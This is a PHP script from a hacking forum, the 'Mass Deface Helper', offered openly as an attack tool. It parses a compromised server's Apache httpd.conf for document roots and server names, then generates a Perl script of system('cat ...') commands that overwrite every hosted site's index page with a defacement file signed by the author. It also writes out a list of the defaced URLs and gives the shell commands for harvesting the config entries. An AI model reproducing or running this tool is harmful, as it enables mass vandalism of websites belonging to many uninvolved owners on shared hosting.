Mass Deface Helper (httpd.conf Version)

<?
# Mass Deface Helper (httpd.conf Version)
# Coded by  by Th3 K!LL3r Dz
# copyright to sec4ever.com
# special Greet'z to : n4ssim , Damane2011
# Greet'z to : all sec4ver members
echo "<html>
<head>
<title>#@!~  Mass Deface Helper (httpd.conf Version)</title>
<style>
body {
BACKGROUND-COLOR: #2D3505
}


textarea {
BACKGROUND-COLOR: #697430;
COLOR: #FFFFFF;
BORDER: #E3FF50 1px solid;

}
input {
BORDER:  #E3FF50 1px solid;
BACKGROUND-COLOR: #697430;
COLOR: #FFFFFF;
font: 8pt Tahoma;


</style>
</head>
<br />";
echo "<span style=\"color:red; font: 13px Tahoma; font-weight:bold;\"> Mass Deface Helper ( httpd.conf Version ) </span><br/><br/>";
echo "<form method=POST>

<tr><td>
<font style='font: 9pt Tahoma; COLOR: #FFFFFF;font-weight:bold;'> index name : </font>
<input type=text name=index value=index.htm>
<table width=\"40%\" border=\"0\">
<tr><td><font style='font: 9pt Tahoma; COLOR: #FFFFFF;font-weight:bold;' >Dirs From (httpd.conf /DocumentRoot) : </font>
</td><td><font style='font: 9pt Tahoma; COLOR: #FFFFFF;font-weight:bold;' >Sites From (httpd.conf /ServerName) : </font>
<tr><td>
<input type=text name=dirs size=\"60\">
</td><td>
<input type=text name=sites size=\"60\"></td><td>
<tr><td><input type=submit value='Create' name=go><br/><br/></td><td></table>
";

if($_POST['go']){
echo "<b><hr></b>";
$start = $_POST['start'];
$end = $_POST['end'];
$index = $_POST['index'];
$dirs =explode("\n",@dz1(file_get_contents($_POST['dirs'])));
$sites =explode("\n",@dz2(file_get_contents($_POST['sites'])));
if($_POST['dirs']){


    $perl = fopen ('mass.txt','w+') or die ("Can't Open A New File :$");
    $perl_start = "#!/usr/bin/perl";
    $perl_end = "print\"./MasseD By Th3 K!LL3r Dz # Relizane Hacker'Z\";";
    fwrite ($perl,$perl_start."\n\n"); // Write !!

foreach($dirs as $dir){

$result = "system(\"cat ".$index.">".$start.@killer($dir).$end."/".$index."\");";
fwrite ($perl, $result."\n"); // Write !!
flush();
}
    echo "<tr><td><font style='font: 9pt Tahoma; COLOR: #FFFFFF;font-weight:bold;'>Done With Success <a style='text-decoration: none;color:red;' href='mass.txt'>mass.txt</a></font></td><td><br>"; // hehe it's done
    fwrite ($perl, "\n".$perl_end); // Write !!
    fclose($perl); // Close Done :'(

    }


if($_POST['sites']){


    $sitess = fopen ('sites.txt','w+') or die ("Can't Open A New File :$");
    $sitess_start = "http://";
    $sitess_end = "/";
    fwrite ($sitess,""); // Write !!

foreach($sites as $site){

    $result2 = $sitess_start.@killer($site).$sitess_end.$index;
    fwrite ($sitess, $result2."\n"); // Write !!
    flush();
}
    echo "<br /><tr><td><font style='font: 9pt Tahoma; COLOR: #FFFFFF;font-weight:bold;'>Done With Success <a style='text-decoration: none;color:red;' href='sites.txt'>sites.txt</a></font></td><td><br/><br/>"; // hehe it's done
    fwrite ($sitess,""); // Write !!
    fclose($sitess); // Close Done :'(

}
  }
function killer($value){  return str_replace(array("\n","\r"),"",$value); }
function dz1($value){  return str_replace(array("    DocumentRoot ","/usr/local/apache/htdocs"),"",$value); }
function dz2($value){  return str_replace(array("    ServerName ","ServerName "),"",$value); }
echo "<br />";
echo "<tr><td><span style=\"color:red; font: 12px Tahoma; font-weight:bold;\"> Some Help : </span></td><td><br/><br/>";
echo "<tr><td><span style=\"color:white; font: 12px Tahoma; font-weight:bold;\"> From PuTTy : Run This orders </span></td><td><br/><br/>";
echo "<tr><td><span style=\"color:white; font: 12px Tahoma; font-weight:bold;\"> For DocumentRoot : cat /usr/local/apache/conf/httpd.conf | grep DocumentRoot>dir.txt </span></td><td><br/><br/>";
echo "<tr><td><span style=\"color:white; font: 12px Tahoma; font-weight:bold;\"> For ServerName : cat /usr/local/apache/conf/httpd.conf | grep ServerName>dmn.txt </span></td><td><br/><br/>";


echo "<tr><td><span style=\"color:red; font: 12px Tahoma; font-weight:bold;\"> Coded By Th3 K!LL3r Dz &copy; Sec4Ever.com </span></td><td><br/><br/>";
?>